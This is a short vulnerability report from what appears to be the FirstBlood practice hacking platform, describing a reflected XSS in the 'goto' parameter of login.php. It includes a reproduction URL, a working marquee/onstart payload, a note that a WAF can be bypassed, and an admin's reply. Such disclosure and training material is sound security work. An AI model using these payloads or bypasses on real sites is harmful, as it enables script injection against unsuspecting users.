FirstBlood-#122 — Reflected XSS
This issue was discovered on FirstBlood v1

On 2021-05-10, smhtahsin33 Level 3 reported:

Hello, Found a Reflected XSS via ?goto Parameter.

Steps To Reproduce:

  1. Visit http://firstbloodhackers.com:49394/login.php?goto=xss%22%3E%3Cmarquee%20onstart=confirm`1`%3EXSS%3C/marquee%3E
  2. The alert will be popped up :)

Impact: Malicious Javascript Code Injection

P3 Medium

Endpoint: http://firstbloodhackers.com:49394/login.php

Parameter: ?goto=

Payload: "><marquee onstart=confirm`1`>XSS</marquee>

FirstBlood ID: 2
Vulnerability Type: Reflective XSS

The parameter "goto" is vulnerable to XSS on login.php. The web application makes use of a WAF but this can be bypassed as it's only looking for certain HTML tags and event handlers. It is also vulnerable to open redirect but XSS is the intended bug.

Report Feedback

@zseano

Creator & Administrator

Nice find :)